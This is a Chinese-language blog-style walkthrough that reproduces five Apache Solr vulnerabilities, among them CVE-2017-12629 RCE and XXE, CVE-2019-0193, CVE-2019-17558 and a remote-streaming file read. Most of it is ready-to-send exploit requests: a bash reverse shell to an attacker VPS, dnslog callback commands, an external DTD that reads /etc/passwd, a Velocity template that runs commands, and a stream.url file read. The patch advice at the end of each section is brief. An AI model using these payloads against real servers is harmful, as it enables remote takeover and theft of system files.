总字符数: 12.23K

代码: 3.92K, 文本: 2.54K

预计阅读时间: 28 分钟

Apache solr 命令执行(CVE-2017-12629)

漏洞概述

什么是Lucene?
Lucene 是一个高效的,基于 Java 的全文检索库. Lucene 是 apache 软件基金会 4 jakarta 项目组的一个子项目,是一个开放源代码的全 文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构
Lucene主要提供了一个简单、强大的应用程序接口.
什么是solr?
Solr 是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器.它对外提供类似于 Web-service 的 API 接 口.用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果.
注意是Solr来提供的http服务,Lucene不提供,他是一个应用程序接口.
并且Solr对Lucene进行了扩展.提供了一个完善的功能管理界面,是一款非常优秀的全文检索引擎.
影响版本:

  1. Apache Solr < 7.1
  2. Apache Lucene < 7.1

漏洞复现

命令执行

在Solr中,能够触发命令执行的方式有两种.分别是postCommit和newSearcher.

  1. postCommit

  2. 首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    POST /solr/demo/config HTTP/1.1
    Host: your-ip
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 158

    {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"]}}
  3. 然后进行update操作,触发刚才添加的listener

    1
    2
    3
    4
    5
    6
    7
    POST /solr/demo/update  HTTP/1.1
    Host: 192.168.2.188:8983
    Content-Length: 17
    Content-Type: application/json


    [{"id":"test"}]
  4. 验证

  5. newSearcher

  6. 构造Payload

    1
    2
    3
    4
    5
    6
    POST /solr/demo/config HTTP/1.1
    Host: 192.168.25.130:8983
    Content-Length: 170
    Content-Type: application/json

    {"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "ping -c 3 vu920r.dnslog.cn"]}}

    数据请求包里的name是可以随意的,但不能重复.

  7. 发送请求包

    命令执行成功!
    只需要将ping命令进行更换,就可以执行你想要的命令,可以设置一个反弹shell的命令,然后监听端口即可getshell,方法一样,发包,换name和命令即可.

修复建议

  • 由于涉及到的是 SolrCloud,所以建议在所有节点问题中添加过滤器,进行相关过滤

Apache solr XML 实体注入漏洞(CVE-2017-12629)

漏洞描述

Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.原理大致是文档通过Http利用XML加到一个搜索集合中.查询该集合也是通过 http收到一个XML/JSON响应来实现.此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629.
影响版本:

  • Apache solr<7.1.0 版本

漏洞复现

  1. 在自己的VPS目录下新建一个文档1.dtd,名字可以自取.在1.dtd内写入如下内容:

    1
    2
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
  2. Python临时启动web服务
    python3 -m http.server 8080

  3. 打开demo的搜索页面后点击Execute Query进行抓包,修改部分参数即可达到XXE外部实体代码执行的操作

1
GET /solr/demo/select?_=1666089179043&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的远程服务器IP):8080%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1

可能出现的问题:

  1. ?_=后面的时间戳可能不对
  2. 没有带cookie

修复建议

  • 添加Solr访问控制,包括禁止本地直接未授权访问
  • 升级版本至7.1,该版本已经解决了XML解析问题并删除了RunExecutableListener类
  • 针对XXE可手动CoreParser.java,根据阻止根据解析产生XXE的点的方法修改DOM
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null;
    try {
    //protect from XXE attacks
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

    db = dbf.newDocumentBuilder();
    }
    catch (Exception se) {
    throw new ParserException("XML Parser configuration error", se);
    }
    org.w3c.dom.Document doc = null;
    try {
    doc = db.parse(pXmlFile);
    }

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

漏洞概述

Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行.
影响版本:

  • Apache solr < 8.2.0

漏洞复现

  1. 创建数据库
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
  2. 访问地址http://192.168.2.188:8983/solr/#/已经可以选择数据库了
  3. 首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC


  1. 点击Execute with this Confuguration会发送以下请求包

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST /solr/test/dataimport?_=1666090401089&indent=on&wt=json HTTP/1.1
    Host: 192.168.2.188:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Content-Length: 677
    Origin: http://192.168.2.188:8983
    Connection: close
    Referer: http://192.168.2.188:8983/solr/
    Cookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551

    command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22ping+frklr3.dnslog.cn%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
  2. 验证结果

修复建议

  • 升级至Apache 8.2.0或更高版本,其默认情况下是安全的(默认情况下DataImportHandler模块不启用)
  • 编辑solrconfig.xml以使用”不变量”部分配置所有DataImportHandler用法,其中列出dataConfig参数设置为空字符串
  • 确保配置了网络设置,以便只有受信任的流量与Solr通信,特别是与DIH请求处理程序通信.
    注:修复漏洞前请将资料备份,并进行充分测试.

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

漏洞概述

用户可以注入自定义模板,通过Velocity模板语言执行任意命令
影响版本:

  • 5.0.0–8.3.1

漏洞复现

  1. 默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板.我们先通过如下API获取所有的核心
    http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json
  2. 通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称


  1. 注入Velocity模板之后即可执行任意命令:http://192.168.2.188:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

修复建议

  • 建议升级Appache Salc到最新版

Apache Solr  Remote-Streaming-Fileread

漏洞概述

Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞.
漏洞范围:

  • Apache Solr <= 8.8.1

**漏洞原理:**在未开启认证的情况下,攻击者可直接构造特定请求获取目标主机内敏感文件及资源

漏洞复现

  1. 首先,访问http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名

  2. 打开BURP,发送数据包,进一步修改数据库配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    POST /solr/demo/config HTTP/1.1
    Host: 192.168.2.188:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: application/json
    Content-Length: 82


    {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
  3. 再通过stream.url读取任意文件:curl -i -s -k "[http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd](http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd)"

修复建议

官方无修复版本